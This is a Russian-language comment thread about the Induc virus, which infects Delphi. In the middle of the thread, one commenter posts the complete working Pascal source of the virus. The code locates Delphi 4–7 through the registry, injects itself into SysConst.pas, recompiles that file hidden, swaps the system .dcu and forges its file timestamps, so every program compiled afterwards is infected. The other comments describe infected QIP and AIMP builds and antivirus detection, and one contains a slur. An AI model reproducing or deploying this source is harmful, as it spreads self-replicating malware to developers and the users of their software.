Comments 30
Будет забавно когда новая, только вышедшая версия Delphi окажется «из коробки» уже зараженной этим вирусом :)
+10
я и все мои знакомые не пострадали.
-2
А когда вирус попал в ваши базы? Тоже сегодня? Если да — печально…
0
Я же писал, что Скайнет грядет и он еще стал на шаг ближе!
И ведь Apple строит ДатаЦенрт не спроста, не спроста…
И ведь Apple строит ДатаЦенрт не спроста, не спроста…
+1
UFO just landed and posted this here
Приколько, хотя и не совсем так. Не заражен, а внедрен на этапе компиляции.
0
Во времена MS-DOS и засилья вирусов на дискетах с игрушками подобные «бутерброды» из вирусов не были редкостью. :)
0
У меня весь колледж заражен этим вирусом, следовательно и все учащиеся, которые уносят программки к себе домой. =)
0
Афайк, он не заражает среду. Он модифицирует sysconsts.pas, компилирует его и подменяет системный .dcu
+4
Позновато вы со статьёй :(
0
«Вирус» этот существует давольно давно))
У меня в AIMP сборки 2008 г антивирус с недавних пор начал его находить )))
+1 хочу посмотреть на заражённый не компилированный sysconsts.pas :)))
У меня в AIMP сборки 2008 г антивирус с недавних пор начал его находить )))
+1 хочу посмотреть на заражённый не компилированный sysconsts.pas :)))
0
ничего интересное, банальное определение директории делфи и копирование dcu туда с прописыванием в проджект.
0
эх, жаль. я-то надеялся на исходник вируса на паскале :)
0
Наслаждайся:
0
uses windows;
var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;
var
i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var
f1,f2:textfile;
h:cardinal;
f:STARTUPINFO;
p:PROCESS_INFORMATION;
b:boolean;
t1,t2,t3:FILETIME;
begin
h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h<>DWORD(-1) then
begin
CloseHandle(h);
exit;
end;
{'I-}assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d+'pas');
rewrite(f2);
if ioresult<>0 then
begin
closefile(f1);
exit;
end;
while not eof(f1) do
begin
readln(f1,s);
writeln(f2,s);
if pos('implementation',s)<>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,''''+sc[h],''',');
writeln(f2,''''+sc[24]+''');');
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
fillchar(f,sizeof(f),0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
DeleteFile(pchar(d+'pas'));
h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var
k:HKEY;
c:array [1..255] of char;
i:cardinal;
r:string;
v:char;
begin
for v:='4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
begin
i:=255;
if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
begin
r:='';
i:=1;
while c[i]<>#0 do
begin
r:=r+c[i];
inc(i);
end;
re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
end;
RegCloseKey(k);
end;
end;
begin
st;
end.
+2
Ничего святого у вирмейкеров. Если раньше их можно было с оговорками считать санитарами веба от ламерства, то теперь переключились на программеров. Педерасты.
-3
Кстати, многие популярные программы, например QIP и AIMP, собранные на Delphi, одно время тоже были заражены этим вирусом.
+1
Да, Avast сегодня запретил мне запускать qip.exe из-за этого вируса, вылечить не смог. По теме:
«Распространению вируса способствовало то, что версия 8094 популярного мессенджера QIP оказались заражена им (команда разработчиков QIP приносит за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса — это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x — от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значения ошибки не происходит)»
«Распространению вируса способствовало то, что версия 8094 популярного мессенджера QIP оказались заражена им (команда разработчиков QIP приносит за это свои извинения). Пока единственный обнаруженный вредный эффект от вируса — это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x — от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значения ошибки не происходит)»
+1
Мне только непонятно, что уже есть даже исходный код, а в базу антивируса добавлен 18 августа, хотя новость на Хабре была 13 августа, а некоторые товарищи говорят, что вирус этот давно уже ходит.
+1
в пятницу днем касперский и др. веб его успешно лечили, а вот eset молчал. и вчера было не 18е число. у нод у меня купленый и базы новячие.
0
Sign up to leave a comment.
Вирус для Delphi